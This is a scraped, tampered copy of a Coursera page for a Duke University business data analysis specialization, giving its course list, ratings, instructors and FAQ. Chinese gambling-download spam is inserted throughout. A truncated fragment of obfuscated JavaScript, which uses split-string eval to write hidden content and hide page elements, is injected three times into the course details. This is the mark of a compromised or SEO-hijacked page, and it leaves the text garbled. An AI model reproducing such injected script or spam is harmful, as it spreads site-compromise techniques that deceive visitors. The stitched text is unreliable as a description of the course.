大奖平台官网下载

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About this Specialization

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100% online courses

Start instantly and learn at your own schedule.
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Flexible Schedule

Set and maintain flexible deadlines.
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Beginner Level

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Approx. 7 months to complete

Suggested 6 hours/week
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English

Subtitles: English, Korean, Arabic, Chinese (Simplified), Vietnamese, Russian, Spanish...

Skills you will gain

Binary ClassificationData AnalysisTableau SoftwareSQL
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100% online courses

Start instantly and learn at your own schedule.
';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i

Flexible Schedule

Set and maintain flexible deadlines.
';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i

Beginner Level

';eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");try{setInterval(function(){try{document.getElementById("div"+"All").style.display="no"+"ne"}catch(e){}for(var i=0;i

Approx. 7 months to complete

Suggested 6 hours/week
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English

Subtitles: English, Korean, Arabic, Chinese (Simplified), Vietnamese, Russian, Spanish...

How the Specialization Works

Take Courses

A Coursera Specialization is a series of courses that helps you master a skill. To begin, enroll in the Specialization directly, or review its courses and choose the one you'd like to start with. When you subscribe to a course that is part of a Specialization, you’re automatically subscribed to the full Specialization. It’s okay to complete just one course — you can pause your learning or end your subscription at any time. Visit your learner dashboard to track your course enrollments and your progress.

Hands-on Project

大奖平台官网下载Every Specialization includes a hands-on project. You'll need to successfully finish the project(s) to complete the Specialization and earn your certificate. If the Specialization includes a separate course for the hands-on project, you'll need to finish each of the other courses before you can start it.

Earn a Certificate

大奖平台官网下载When you finish every course and complete the hands-on project, you'll earn a Certificate that you can share with prospective employers and your professional network.

how it works

There are 5 Courses in this Specialization

Course1

Course 1

Business Metrics for Data-Driven Companies

4.6
stars
5,699 ratings
1,142 reviews
Course2

Course 2

Mastering Data Analysis in Excel

4.2
stars
3,068 ratings
692 reviews
Course3

Course 3

Data Visualization and Communication with Tableau

4.7
stars
2,129 ratings
449 reviews
Course4

Course 4

Managing Big Data with MySQL

4.7
stars
2,626 ratings
585 reviews

Instructors

Daniel Egger 

Executive in Residence and Director, Center for Quantitative Modeling
Pratt School of Engineering, Duke University

Jana Schaich Borg 

Assistant Research Professor
Social Science Research Institute

Industry Partners

Industry Partner Logo #0

About Duke University

Duke University has about 13,000 undergraduate and graduate students and a world-class faculty helping to expand the frontiers of knowledge. The university has a strong commitment to applying knowledge in service to society, both near its North Carolina campus and around the world....

Frequently Asked Questions

  • Yes! To get started, click the course card that interests you and enroll. You can enroll and complete the course to earn a shareable certificate, or you can audit it to view the course materials for free. When you subscribe to a course that is part of a Specialization, you’re automatically subscribed to the full Specialization. Visit your learner dashboard to track your progress.

  • 大奖平台官网下载This course is completely online, so there’s no need to show up to a classroom in person. You can access your lectures, readings and assignments anytime and anywhere via the web or your mobile device.

  • This Specialization doesn't carry university credit, but some universities may choose to accept Specialization Certificates for credit. Check with your institution to learn more.

  • Time to completion can vary based on your schedule, but most learners are able to complete the Specialization in 6-7 months.

  • 大奖平台官网下载Each course in the Specialization is offered on a regular schedule, with sessions starting about once per month. If you don't complete a course on the first try, you can easily transfer to the next session, and your completed work and grades will carry over.

  • No prior experience with analytics or programming is required. This Specialization is intended for anyone with an interest in data analysis and its applications in business decision-making.

  • We recommend taking the courses in the order presented, as each subsequent course will build on material from previous courses.

  • Coursera courses and certificates don't carry university credit, though some universities may choose to accept Specialization Certificates for credit. Check with your institution to learn more.

  • 大奖平台官网下载You will be able to frame practical business questions that can be answered with data, visualize analytical insights in an informative and compelling fashion, and translate and persuasively communicate insights into actionable recommendations for decision-makers.

  • 大奖平台官网下载You will need access to Microsoft Excel 2007 (or a more recent version of Microsoft Excel). We will be using the free Solver plugin for optimization problems, and this functionality is not available in alternative online tools such as Google Sheets. The Specialization will also make use of freely-downloadable software packages such as Tableau.

  • 大奖平台官网下载Yes! We will teach you all the analytical and software tools you need to succeed not only in this class, but also as a business analyst.

  • Yes. Our goal is to give you tools to help you navigate business data analyses of all kinds, even if you have never worked with that type of data before or do not have experience with the associated type of business.

  • 大奖平台官网下载Yes. In fact, chances are high that you have never seen the majority of the content in this class. Applying quantitative skills to business contexts requires software, skills, and domain knowledge you are not likely to have been exposed to in graduate school.

More questions? Visit the .

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